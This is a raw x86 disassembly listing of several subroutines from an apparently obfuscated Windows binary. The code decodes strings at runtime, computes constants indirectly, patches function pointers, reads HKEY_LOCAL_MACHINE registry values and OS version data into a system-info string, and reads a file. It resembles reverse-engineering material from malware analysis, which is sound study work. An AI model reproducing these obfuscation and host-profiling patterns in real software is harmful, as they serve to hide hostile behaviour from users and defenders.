mov [ebp+var_204], 0FFh
lea eax, [ebp+var_204]
push eax
lea eax, [ebp+var_FF]
push eax
call ds:dword_44B5A0
mov eax, dword_551108
add eax, dword_551234
movsx eax, [ebp+eax+var_10F]
mov edx, dword_55119C
sub edx, 4
cmp eax, edx
jnz short loc_44300F
xor eax, eax
inc eax
jmp loc_443202
; ---------------------------------------------------------------------------
loc_44300F: ; CODE XREF: sub_442FB0+55j
push offset byte_551951
call sub_43CAF7
movsx edx, word_551138
sub edx, 2
push edx
push eax
lea edx, [ebp+var_FF]
push edx
call sub_43FE22
add esp, 10h
mov edx, eax
movsx ecx, word_5510C4
mov eax, dword_55112C
lea ecx, [ecx+eax+0FFF1h]
cmp edx, ecx
jz short loc_443055
xor eax, eax
inc eax
jmp loc_443202
; ---------------------------------------------------------------------------
loc_443055: ; CODE XREF: sub_442FB0+9Bj
push offset byte_551947
call sub_43CAF7
mov edx, dword_551228
sub edx, 7
push edx
push eax
lea edx, [ebp+var_FF]
push edx
call sub_43FE22
add esp, 10h
mov ecx, dword_5511F4
add ecx, 0FFF2h
add ecx, dword_551170
cmp eax, ecx
jz short loc_443097
xor eax, eax
inc eax
jmp loc_443202
; ---------------------------------------------------------------------------
loc_443097: ; CODE XREF: sub_442FB0+DDj
mov [ebp+var_208], 0FFh
lea eax, [ebp+var_208]
push eax
lea eax, [ebp+var_1FE]
push eax
call ds:dword_448040
push offset word_551942
call sub_43CAF7
push eax
lea edx, [ebp+var_1FE]
push edx
call ds:dword_44802C
mov eax, dword_55119C
sub eax, 3
push eax
lea eax, [ebp+var_FF]
push eax
lea eax, [ebp+var_1FE]
push eax
call sub_43FE22
add esp, 18h
mov edx, dword_55115C
add edx, 0FFFBh
cmp eax, edx
jz short loc_443104
xor eax, eax
inc eax
jmp loc_443202
; ---------------------------------------------------------------------------
loc_443104: ; CODE XREF: sub_442FB0+14Aj
call ds:dword_4CE918
mov esi, eax
xor ebx, ebx
mov edi, esi
loc_443110: ; CODE XREF: sub_442FB0+23Bj
movsx eax, word_5510B4
add eax, dword_551090
sub eax, 9
movzx eax, byte ptr [edi+eax]
movsx edx, word_5511C4
movsx ecx, word_551164
add edx, ecx
sub edx, 9
cmp eax, edx
jz loc_4431F0
mov ecx, edi
or eax, 0FFFFFFFFh
loc_443144: ; CODE XREF: sub_442FB0+199j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_443144
mov [ebp+var_20C], eax
push offset dword_551938
call sub_43CAF7
add esp, 4
mov edx, dword_5510DC
add edx, dword_55112C
sub edx, 0Bh
push edx
push eax
push edi
call sub_43FE22
add esp, 0Ch
mov ecx, dword_551200
add ecx, 0FFFAh
cmp eax, ecx
jz short loc_44318F
mov ebx, 1
jmp short loc_4431F0
; ---------------------------------------------------------------------------
loc_44318F: ; CODE XREF: sub_442FB0+1D6j
push offset asc_551927 ; "\r"
call sub_43CAF7
movsx edx, word_551104
inc edx
push edx
push eax
push edi
call sub_43FE22
add esp, 10h
mov edx, eax
mov ecx, dword_5510B0
add ecx, 0FFF3h
movsx eax, word_5511E8
add ecx, eax
cmp edx, ecx
jz short loc_4431CC
xor ebx, ebx
inc ebx
jmp short loc_4431F0
; ---------------------------------------------------------------------------
loc_4431CC: ; CODE XREF: sub_442FB0+215j
movsx eax, word_551208
movsx edx, word_551240
add eax, edx
sub eax, 8
mov edx, [ebp+var_20C]
add edx, edi
mov edi, eax
add edi, edx
jmp loc_443110
; ---------------------------------------------------------------------------
loc_4431F0: ; CODE XREF: sub_442FB0+189j
; sub_442FB0+1DDj ...
push esi
call ds:dword_4CD944
or ebx, ebx
jz short loc_443200
xor eax, eax
inc eax
jmp short loc_443202
; ---------------------------------------------------------------------------
loc_443200: ; CODE XREF: sub_442FB0+249j
xor eax, eax
loc_443202: ; CODE XREF: sub_442FB0+13j
; sub_442FB0+5Aj ...
pop edi
pop esi
pop ebx
leave
retn
sub_442FB0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_443207 proc near ; DATA XREF: sub_43DE1F+Bo
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
pusha
mov esi, [ebp+arg_8]
mov eax, offset sub_43E266
mov [esi+0B8h], eax
mov eax, [ebp+arg_4]
mov [esi+0C4h], eax
popa
mov esp, ebp
pop ebp
xor eax, eax
retn
sub_443207 endp
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44322A proc near ; CODE XREF: sub_43FA48+9p
; sub_440CD2+11p ...
var_94 = dword ptr -94h
var_84 = dword ptr -84h
push ebp
mov ebp, esp
sub esp, 94h
cmp dword_551284, 0
jz short loc_443241
xor eax, eax
inc eax
jmp short locret_443270
; ---------------------------------------------------------------------------
loc_443241: ; CODE XREF: sub_44322A+10j
mov [ebp+var_94], 94h
lea eax, [ebp+var_94]
push eax
call ds:dword_54FF28
cmp [ebp+var_84], 2
jnz short loc_44326B
mov dword_551284, 1
loc_44326B: ; CODE XREF: sub_44322A+35j
mov eax, dword_551284
locret_443270: ; CODE XREF: sub_44322A+15j
leave
retn
sub_44322A endp
; =============== S U B R O U T I N E =======================================
sub_443272 proc near ; CODE XREF: sub_446ED7+39p
push edi
push offset asc_55191A ; "\t"
call sub_43CAF7
pop ecx
push eax
call ds:dword_44B598
mov dword_551260, eax
mov eax, dword_551168
sub eax, 2
cmp dword_551260, eax
jnz short loc_4432B1
push offset asc_55190D ; "\t"
call sub_43CAF7
pop ecx
push eax
call ds:dword_48C218
mov dword_551260, eax
loc_4432B1: ; CODE XREF: sub_443272+26j
push offset word_5518FE
call sub_43CAF7
pop ecx
push eax
push dword_551260
call ds:dword_44B1AC
mov ds:dword_4CC220, eax
pop edi
retn
sub_443272 endp
; =============== S U B R O U T I N E =======================================
sub_4432D0 proc near ; DATA XREF: .data:005512DCo
mov eax, 80004001h
retn 18h
sub_4432D0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4432D8 proc near ; CODE XREF: sub_443843+139p
var_1AC = dword ptr -1ACh
var_1A8 = dword ptr -1A8h
var_1A4 = byte ptr -1A4h
var_1A0 = dword ptr -1A0h
var_19C = byte ptr -19Ch
var_198 = dword ptr -198h
var_193 = dword ptr -193h
var_18F = dword ptr -18Fh
var_18B = dword ptr -18Bh
var_187 = dword ptr -187h
var_183 = dword ptr -183h
var_FF = byte ptr -0FFh
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1ACh
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
mov byte ptr [edi], 0
mov [ebp+var_193], 94h
lea eax, [ebp+var_193]
push eax
call ds:dword_54FF28
cmp [ebp+var_183], 1
jnz short loc_44331F
push offset dword_5518F8
call sub_43CAF7
push eax
push edi
call ds:dword_44802C
add esp, 0Ch
loc_44331F: ; CODE XREF: sub_4432D8+30j
cmp [ebp+var_183], 2
jnz short loc_44333D
push offset word_5518F2
call sub_43CAF7
push eax
push edi
call ds:dword_50E928
add esp, 0Ch
loc_44333D: ; CODE XREF: sub_4432D8+4Ej
push offset word_5518E6
call sub_43CAF7
push [ebp+var_187]
push [ebp+var_18B]
push [ebp+var_18F]
push eax
lea ebx, [ebp+var_FF]
push ebx
call ds:dword_50E928
lea eax, [ebp+var_FF]
push eax
push edi
call ds:dword_44802C
push offset byte_5518DF
call sub_43CAF7
mov ebx, dword_551108
sub ebx, 8
push ebx
movsx ebx, word_5510FC
add ebx, dword_5510BC
sub ebx, 2
push ebx
lea ebx, [ebp+var_19C]
push ebx
lea ebx, [ebp+var_19C]
push ebx
lea ebx, [ebp+var_1A0]
push ebx
push 0FFh
lea ebx, [ebp+var_FF]
push ebx
push eax
call ds:dword_4CE900
push offset byte_5518D7
call sub_43CAF7
push [ebp+var_1A0]
push eax
lea ebx, [ebp+var_FF]
push ebx
call ds:dword_50E928
lea eax, [ebp+var_FF]
push eax
push edi
call ds:dword_44802C
push 0FFh
lea eax, [ebp+var_FF]
push eax
mov eax, dword_551170
movsx edx, word_551240
add eax, edx
sub eax, 9
push eax
push 400h
call ds:dword_44B5A8
lea eax, [ebp+var_FF]
push eax
push edi
call ds:dword_44802C
push offset word_5518D2
call sub_43CAF7
push eax
push edi
call ds:dword_44802C
mov [ebp+var_198], 0FFh
push offset byte_5518A5
call sub_43CAF7
mov [ebp+var_1A8], eax
push offset asc_551898 ; "\t"
call sub_43CAF7
lea ebx, [ebp+var_1A4]
push ebx
lea ebx, [ebp+var_198]
push ebx
lea ebx, [ebp+var_FF]
push ebx
push eax
mov ebx, [ebp+var_1A8]
push ebx
push 80000002h
call sub_442B18
add esp, 70h
mov esi, eax
movsx eax, word_551198
cmp esi, eax
jnz short loc_4434A5
lea eax, [ebp+var_FF]
push eax
push edi
call ds:dword_44802C
add esp, 8
jmp short loc_44351D
; ---------------------------------------------------------------------------
loc_4434A5: ; CODE XREF: sub_4432D8+1B8j
mov [ebp+var_198], 0FFh
push offset unk_551868
call sub_43CAF7
mov [ebp+var_1AC], eax
push offset byte_55185B
call sub_43CAF7
lea ebx, [ebp+var_1A4]
push ebx
lea ebx, [ebp+var_198]
push ebx
lea ebx, [ebp+var_FF]
push ebx
push eax
mov ebx, [ebp+var_1AC]
push ebx
push 80000002h
call sub_442B18
add esp, 20h
mov esi, eax
movsx eax, word_551210
movsx edx, word_5511A4
add eax, edx
sub eax, 0Ah
cmp esi, eax
jnz short loc_44351D
lea eax, [ebp+var_FF]
push eax
push edi
call ds:dword_44802C
add esp, 8
loc_44351D: ; CODE XREF: sub_4432D8+1CBj
; sub_4432D8+232j
pop edi
pop esi
pop ebx
leave
retn
sub_4432D8 endp
; =============== S U B R O U T I N E =======================================
sub_443522 proc near ; CODE XREF: sub_443843+F7p
push ebx
push esi
movsx esi, word_551164
mov ebx, dword_5510B0
add ebx, 6E0637BAh
mov ds:dword_54EAF8[esi*4], ebx
mov esi, dword_551090
add esi, 7
movsx ebx, word_551104
add esi, ebx
movsx ebx, word_5510C4
movsx edx, word_551240
lea ebx, [ebx+edx+1E4E8736h]
mov ds:dword_54EAC0[esi*4], ebx
mov esi, dword_5510B0
add esi, 2
add esi, dword_5510EC
mov ebx, dword_551150
add ebx, 3D357C67h
mov ds:dword_54EAC0[esi*4], ebx
movsx esi, word_55113C
add esi, dword_5511F4
mov ebx, dword_551120
add ebx, 869AE873h
add ebx, dword_5511E4
mov ds:dword_54EA80[esi*4], ebx
movsx esi, word_5510F8
add esi, dword_551238
mov ebx, dword_5510E0
add ebx, 0BFFD7E26h
mov ds:dword_54EAB0[esi*4], ebx
mov ecx, dword_55119C
sub ecx, 3
jmp short loc_4435F1
; ---------------------------------------------------------------------------
loc_4435DF: ; CODE XREF: sub_443522+DFj
movsx esi, word_551190
sub esi, 8
mov ds:dword_54EA80[ecx*4], esi
inc ecx
loc_4435F1: ; CODE XREF: sub_443522+BBj
mov eax, dword_551184
add eax, 8
add eax, dword_5511D8
cmp ecx, eax
jb short loc_4435DF
movsx ecx, word_5510A8
mov esi, dword_55111C
add esi, 323D4731h
add esi, dword_551184
mov ds:dword_54EAF4[ecx*4], esi
movsx ecx, word_5511C4
mov esi, dword_5510D8
add esi, 505215A3h
add esi, dword_55122C
mov ds:dword_54EAB8[ecx*4], esi
mov ecx, dword_5511B0
movsx esi, word_551118
add esi, 1AB051F1h
mov ds:dword_54EACC[ecx*4], esi
movsx ecx, word_5511C4
movsx esi, word_551138
add ecx, esi
mov esi, dword_5511E4
add esi, 280E85C8h
add esi, dword_551098
mov ds:dword_54EAB8[ecx*4], esi
movsx ecx, word_551128
mov esi, dword_5511EC
add esi, 0E383CCDCh
mov ds:dword_54EADC[ecx*4], esi
mov ecx, dword_551224
add ecx, dword_551160
mov esi, dword_551248
add esi, 0D76ADDDAh
add esi, dword_5510B8
mov ds:dword_54EAB0[ecx*4], esi
mov ecx, dword_5510A0
movsx esi, word_551118
mov ebx, dword_5510A4
lea esi, [esi+ebx+14F80509h]
mov ds:dword_54EAEC[ecx*4], esi
mov ecx, dword_551178
mov esi, dword_551160
add esi, 0CC24407Bh
mov ds:dword_54EAA8[ecx*4], esi
mov ecx, dword_551134
add ecx, dword_5511EC
mov esi, ebx
add esi, 1B77E1D9h
movsx ebx, word_5510CC
add esi, ebx
mov ds:dword_54EAC0[ecx*4], esi
movsx ecx, word_551138
mov esi, dword_551124
add esi, 0Dh
add esi, dword_551168
mov ds:dword_54EA74[ecx*4], esi
movsx ecx, word_551244
movsx esi, word_5511A4
mov ebx, dword_551184
lea esi, [esi+ebx-1E081165h]
mov ds:dword_54EAA4[ecx*4], esi
mov ecx, dword_551238
add ecx, 6
add ecx, dword_5510E8
mov esi, dword_5510D4
add esi, 0D24B644Bh
add esi, dword_5511BC
mov ds:dword_54EAC0[ecx*4], esi
pop esi
pop ebx
retn
sub_443522 endp
; =============== S U B R O U T I N E =======================================
sub_44378D proc near ; DATA XREF: .data:005512F8o
mov eax, 80004001h
retn 8
sub_44378D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_443795 proc near ; CODE XREF: sub_442B82+E8p
; sub_442B82+166p
var_7 = byte ptr -7
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push ecx
push eax
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov byte ptr [ebx], 0
mov ecx, esi
or eax, 0FFFFFFFFh
loc_4437AB: ; CODE XREF: sub_443795+1Bj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_4437AB
mov [ebp+var_4], eax
movsx eax, word_551118
mov edi, eax
add edi, dword_55115C
sub edi, 0Ch
jmp short loc_443839
; ---------------------------------------------------------------------------
loc_4437C9: ; CODE XREF: sub_443795+A7j
movzx eax, [ebp+arg_8]
cmp edi, eax
jb short loc_4437DC
mov al, [esi+edi]
cmp al, 2Fh
jz short loc_4437DC
cmp al, 2Eh
jnz short loc_4437FB
loc_4437DC: ; CODE XREF: sub_443795+3Aj
; sub_443795+41j
push offset byte_551855
call sub_43CAF7
movzx edx, byte ptr [esi+edi]
push edx
push eax
lea edx, [ebp+var_7]
push edx
call ds:dword_50E928
add esp, 10h
jmp short loc_44382A
; ---------------------------------------------------------------------------
loc_4437FB: ; CODE XREF: sub_443795+45j
push offset dword_551850
call sub_43CAF7
push eax
push ebx
call ds:dword_44802C
push offset dword_551848
call sub_43CAF7
movzx edx, byte ptr [esi+edi]
push edx
push eax
lea edx, [ebp+var_7]
push edx
call ds:dword_50E928
add esp, 1Ch
loc_44382A: ; CODE XREF: sub_443795+64j
lea eax, [ebp+var_7]
push eax
push ebx
call ds:dword_44802C
add esp, 8
inc edi
loc_443839: ; CODE XREF: sub_443795+32j
cmp edi, [ebp+var_4]
jb short loc_4437C9
pop edi
pop esi
pop ebx
leave
retn
sub_443795 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_443843 proc near ; CODE XREF: sub_446ED7+33Ap
var_26C = dword ptr -26Ch
var_268 = byte ptr -268h
var_267 = byte ptr -267h
var_211 = byte ptr -211h
var_205 = byte ptr -205h
var_203 = byte ptr -203h
var_202 = byte ptr -202h
var_1FB = byte ptr -1FBh
var_104 = byte ptr -104h
push ebp
mov ebp, esp
sub esp, 26Ch
push edi
lea eax, [ebp+var_104]
push eax
movsx eax, word_5510FC
sub eax, 2
push eax
mov eax, dword_55115C
sub eax, 4
push eax
push 1Ch
mov eax, dword_551224
add eax, dword_55124C
sub eax, 0Ah
push eax
call ds:dword_48BA00
lea eax, [ebp+var_267]
push eax
call sub_43ECB6
lea eax, sub_43F41A
mov ds:dword_50E91C, eax
lea eax, sub_43D535
mov ds:dword_54EA74, eax
lea eax, sub_43F41A
mov ds:dword_48C1E0, eax
lea eax, sub_43DB30
mov ds:dword_48C1F0, eax
push offset byte_551835
call sub_43CAF7
movsx edi, word_55113C
add edi, dword_551204
sub edi, 5
push edi
lea edi, [ebp+var_104]
push edi
push eax
push offset dword_44B0A0
call ds:dword_50E928
push offset word_551826
call sub_43CAF7
mov edi, dword_551140
add edi, dword_5510A4
sub edi, 2
push edi
lea edi, [ebp+var_267]
push edi
lea edi, [ebp+var_104]
push edi
push eax
push offset dword_4CC230
call ds:dword_50E928
lea eax, dword_44B0A0
mov ds:dword_4CD820, eax
lea eax, dword_4CD830
mov ds:dword_449FD4, eax
lea eax, sub_43DD8A
mov ds:dword_48B9E4, eax
call sub_443522
mov eax, dword_551178
inc eax
push eax
push offset dword_48C200
call sub_43EDF9
push offset word_551812
call sub_43CAF7
mov edi, dword_5511F4
sub edi, 3
push edi
lea edi, [ebp+var_104]
push edi
push eax
push offset dword_4CD830
call ds:dword_50E928
push offset dword_449FE0
call sub_4432D8
push offset byte_5517FF
call sub_43CAF7
mov edi, dword_55114C
add edi, 4
push edi
lea edi, [ebp+var_104]
push edi
push eax
push offset dword_4CC440
call ds:dword_50E928
lea eax, sub_43F41A
mov ds:dword_449014, eax
lea eax, dword_4CC440
mov ds:dword_44801C, eax
lea eax, dword_54E970
mov dword_5512C4, eax
push offset sub_43EDC6
call sub_43EBAF
push offset sub_4467F2
call sub_43EBAF
push offset sub_44493B
call sub_43EBAF
movsx eax, word_55109C
add eax, dword_5511F4
sub eax, 5
mov ds:dword_44B5D0, eax
mov eax, dword_551248
add eax, dword_5511C0
sub eax, 4
push eax
lea eax, [ebp+var_203]
push eax
call sub_443E2E
add esp, 78h
mov eax, dword_55116C
add eax, dword_551098
cmp [ebp+eax+var_211], 64h
jnz short loc_443A7B
movsx eax, [ebp+var_202]
mov edx, dword_551168
add edx, 16h
movsx ecx, word_5511C4
add edx, ecx
sub eax, edx
mov [ebp+var_268], al
movsx eax, word_551218
mov ds:dword_44B5D0, eax
movzx eax, [ebp+var_268]
push eax
mov eax, dword_5510A4
add eax, dword_5511C8
sub eax, 0Fh
push eax
call sub_43F090
add esp, 8
loc_443A7B: ; CODE XREF: sub_443843+1EAj
movsx eax, word_551104
add eax, dword_55114C
cmp [ebp+eax+var_205], 67h
jnz short loc_443AD7
mov eax, dword_55114C
mov edx, eax
sub edx, 2
mov [ebp+eax+var_1FB], dl
lea eax, [ebp+var_202]
push eax
call ds:dword_44901C
mov [ebp+var_26C], eax
push eax
push offset dword_54E970
call sub_445E8D
add esp, 0Ch
mov eax, dword_5510E0
add eax, dword_551098
sub eax, 0Fh
mov ds:dword_44B5D0, eax
loc_443AD7: ; CODE XREF: sub_443843+24Dj
pop edi
leave
retn
sub_443843 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_443ADA proc near ; CODE XREF: sub_43D3AD+FCp
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = word ptr -40h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 48h
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
lea eax, dword_54EA80
mov [ebp+var_48], eax
movsx eax, word_551244
mov edi, eax
add edi, dword_5510B8
sub edi, 0Bh
jmp short loc_443B11
; ---------------------------------------------------------------------------
loc_443B03: ; CODE XREF: sub_443ADA+43j
mov edx, edi
shl edx, 1
mov cx, [ebx+edi*2]
mov [ebp+edx+var_40], cx
inc edi
loc_443B11: ; CODE XREF: sub_443ADA+27j
movsx eax, word_551138
add eax, 1Dh
cmp edi, eax
jb short loc_443B03
mov eax, dword_5511BC
sub eax, 6
mov [ebp+var_44], eax
loc_443B2A: ; CODE XREF: sub_443ADA+6Bj
inc [ebp+var_44]
mov eax, [ebp+var_48]
movzx eax, word ptr [eax]
cmp [ebp+var_44], eax
jnb short loc_443B47
push ebx
lea eax, [ebp+var_40]
push eax
call sub_43D0C6
add esp, 8
jmp short loc_443B2A
; ---------------------------------------------------------------------------
loc_443B47: ; CODE XREF: sub_443ADA+5Cj
mov esi, dword_5510B8
sub esi, 4
jmp short loc_443B63
; ---------------------------------------------------------------------------
loc_443B52: ; CODE XREF: sub_443ADA+93j
mov edx, esi
shl edx, 1
mov ecx, [ebp+arg_4]
mov dx, [ebp+edx+var_40]
mov [ecx+esi*2], dx
inc esi
loc_443B63: ; CODE XREF: sub_443ADA+76j
mov eax, dword_551120
add eax, 18h
cmp esi, eax
jb short loc_443B52
pop edi
pop esi
pop ebx
leave
retn
sub_443ADA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_443B74 proc near ; CODE XREF: sub_446ED7+344p
var_4C = dword ptr -4Ch
var_48 = byte ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = word ptr -38h
var_30 = dword ptr -30h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 4Ch
push ebx
push esi
push edi
movsx eax, word_551218
add eax, dword_5511D4
sub eax, 8
mov [ebp+var_4], eax
jmp short loc_443BB4
; ---------------------------------------------------------------------------
loc_443B92: ; CODE XREF: sub_443B74+4Bj
mov eax, 30h
mul [ebp+var_4]
mov [ebp+var_20], eax
movsx eax, word_551244
sub eax, 7
mov edx, [ebp+var_20]
mov ds:dword_4CC550[edx], eax
inc [ebp+var_4]
loc_443BB4: ; CODE XREF: sub_443B74+1Cj
mov eax, dword_5510B0
add eax, 5Fh
cmp [ebp+var_4], eax
jb short loc_443B92
movsx eax, word_5510D0
sub eax, 6
push eax
call ds:dword_44B084
push offset dword_5512E8
push offset dword_552A88
push 7
mov eax, dword_5511B0
sub eax, 7
push eax
push offset dword_5529C8
call ds:dword_44B5D4
mov ebx, eax
mov eax, dword_551220
sub eax, 2
cmp ebx, eax
jnz loc_443DAD
lea eax, [ebp+var_C]
push eax
mov eax, dword_5512E8
push eax
mov edi, [eax]
call dword ptr [edi+1Ch]
mov ebx, eax
mov eax, dword_551204
sub eax, 2
cmp ebx, eax
jnz short loc_443C2E
mov eax, dword_551220
sub eax, 2
cmp [ebp+var_C], eax
jnz short loc_443C33
loc_443C2E: ; CODE XREF: sub_443B74+ABj
jmp loc_443D34
; ---------------------------------------------------------------------------
loc_443C33: ; CODE XREF: sub_443B74+B8j
movsx eax, word_5510C4
add eax, dword_5510E8
sub eax, 7
mov [ebp+var_8], eax
jmp loc_443D28
; ---------------------------------------------------------------------------
loc_443C4B: ; CODE XREF: sub_443B74+1BAj
mov eax, [ebp+var_8]
mov [ebp+var_30], eax
mov [ebp+var_38], 3
lea eax, [ebp+var_3C]
push eax
lea esi, [ebp+var_38]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, dword_5512E8
push edi
mov edi, [edi]
call dword ptr [edi+20h]
mov ebx, eax
mov eax, dword_5510F0
add eax, dword_55116C
sub eax, 8
cmp ebx, eax
jnz loc_443D25
lea eax, [ebp+var_40]
push eax
push offset dword_552AA8
mov eax, [ebp+var_3C]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
mov eax, dword_55122C
add eax, dword_5510D8
sub eax, 0Dh
cmp ebx, eax
jnz short loc_443D1C
lea eax, off_5512E4
mov [ebp+var_24], eax
push eax
mov esi, [eax]
call dword ptr [esi+4]
lea eax, [ebp+var_44]
push eax
push offset dword_5529E8
mov eax, [ebp+var_24]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
cmp ebx, dword_5510BC
jnz short loc_443D0A
lea eax, [ebp+var_48]
push eax
push offset dword_5529E8
push [ebp+var_44]
push [ebp+var_40]
call sub_43F748
add esp, 10h
mov [ebp+var_4C], eax
mov eax, [ebp+var_44]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_443D0A: ; CODE XREF: sub_443B74+171j
mov eax, [ebp+var_24]
push eax
mov esi, [eax]
call dword ptr [esi+8]
mov eax, [ebp+var_40]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_443D1C: ; CODE XREF: sub_443B74+142j
mov eax, [ebp+var_3C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_443D25: ; CODE XREF: sub_443B74+114j
inc [ebp+var_8]
loc_443D28: ; CODE XREF: sub_443B74+D2j
mov eax, [ebp+var_C]
cmp [ebp+var_8], eax
jb loc_443C4B
loc_443D34: ; CODE XREF: sub_443B74:loc_443C2Ej
lea eax, off_551308
mov [ebp+var_10], eax
push eax
mov esi, [eax]
call dword ptr [esi+4]
lea eax, [ebp+var_14]
push eax
push offset dword_5529D8
mov eax, [ebp+var_10]
push eax
mov esi, [eax]
call dword ptr ds:0[esi]
mov eax, [ebp+var_10]
push eax
mov esi, [eax]
call dword ptr [esi+8]
lea eax, [ebp+var_1C]
push eax
push offset dword_5529D8
push [ebp+var_14]
push dword_5512E8
call sub_43F748
add esp, 10h
mov [ebp+var_18], eax
mov eax, dword_5511F8
movsx edx, word_551198
add eax, edx
sub eax, 4
cmp [ebp+var_18], eax
jnz short loc_443DAD
mov eax, dword_5512E8
push eax
mov esi, [eax]
call dword ptr [esi+8]
mov eax, dword_55114C
sub eax, 2
mov dword_5512E8, eax
loc_443DAD: ; CODE XREF: sub_443B74+8Aj
; sub_443B74+21Fj
pop edi
pop esi
pop ebx
leave
retn
sub_443B74 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_443DB2 proc near ; CODE XREF: sub_442B06+2p
; sub_442B06+9p
var_104 = byte ptr -104h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 104h
push edi
lea eax, [ebp+var_104]
push eax
movsx eax, word_5510FC
sub eax, 2
push eax
mov eax, dword_551224
movsx edx, word_551094
add eax, edx
sub eax, 3
push eax
push [ebp+arg_0]
mov eax, dword_551120
sub eax, 8
push eax
call ds:dword_48BA00
mov edi, eax
or edi, edi
jnz short loc_443E23
push offset word_5517FA
call sub_43CAF7
push eax
lea edi, [ebp+var_104]
push edi
call ds:dword_44802C
push 1
push 43h
lea eax, [ebp+var_104]
push eax
call sub_44077A
add esp, 18h
loc_443E23: ; CODE XREF: sub_443DB2+44j
pop edi
leave
retn
sub_443DB2 endp
; =============== S U B R O U T I N E =======================================
sub_443E26 proc near ; DATA XREF: .data:005512BCo
mov eax, 80004001h
retn 18h
sub_443E26 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_443E2E proc near ; CODE XREF: sub_443843+1CFp
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
push 0
push 0
push 3
push 0
push 0
push 80000000h
push offset dword_4CC230
call ds:dword_54FB18
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_443E78
mov eax, dword_5510D8
sub eax, 6
mov edx, dword_5510A0
add edx, dword_5511BC
sub edx, 9
mov [esi+eax], dl
jmp loc_443F01
; ---------------------------------------------------------------------------
loc_443E78: ; CODE XREF: sub_443E2E+29j
push 0
movsx eax, word_5511CC
sub eax, 9
push eax
push [ebp+arg_4]
push edi
call ds:dword_54FF30
mov eax, dword_551184
movsx edx, word_5510B4
add eax, edx
sub eax, 9
push eax
lea eax, [ebp+var_4]
push eax
movsx eax, word_551148
movsx edx, word_551144
lea eax, [eax+edx+0Fh]
push eax
push esi
push edi
call ds:dword_448034
mov ebx, eax
push edi
call ds:dword_4CD948
movsx eax, word_551128
movsx edx, word_551118
add eax, edx
sub eax, 0Dh
cmp ebx, eax
jnz short loc_443F01
mov eax, dword_5510AC
add eax, dword_5511E4
sub eax, 0Bh
movsx edx, word_5510C4
add edx, dword_5510B0
sub edx, 0Bh
mov [esi+eax], dl
loc_443F01: ; CODE XREF: sub_443E2E+45j
; sub_443E2E+B0j
pop edi
pop esi
pop ebx
leave
retn
sub_443E2E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_443F06 proc near ; CODE XREF: sub_44726D+1Ep
; sub_44726D+259p
var_10088 = dword ptr -10088h
var_10084 = dword ptr -10084h
var_10080 = dword ptr -10080h
var_1007C = dword ptr -1007Ch
var_10078 = word ptr -10078h
var_10070 = dword ptr -10070h
var_10064 = dword ptr -10064h
var_10060 = dword ptr -10060h
var_1005C = dword ptr -1005Ch
var_10055 = byte ptr -10055h
var_10054 = dword ptr -10054h
var_10050 = dword ptr -10050h
var_1004C = dword ptr -1004Ch
var_10048 = dword ptr -10048h
var_10044 = dword ptr -10044h
var_1003F = byte ptr -1003Fh
var_40 = word ptr -40h
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, 10088h
call sub_4475B4
push ebx
push esi
push edi
push offset dword_5517EC
call sub_43FEC5
pop ecx
push eax
call ds:dword_44900C
mov [ebp+var_38], eax
mov [ebp+var_40], 8
lea eax, [ebp+var_2C]
push eax
lea esi, [ebp+var_40]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+arg_4]
push edi
mov edi, [edi]
call dword ptr [edi+30h]
mov ebx, eax
mov eax, dword_551188
sub eax, 5
cmp ebx, eax
jz short loc_443F62
xor eax, eax
jmp loc_44466C
; ---------------------------------------------------------------------------
loc_443F62: ; CODE XREF: sub_443F06+53j
lea eax, [ebp+var_24]
push eax
push offset dword_552A38
mov eax, [ebp+var_2C]
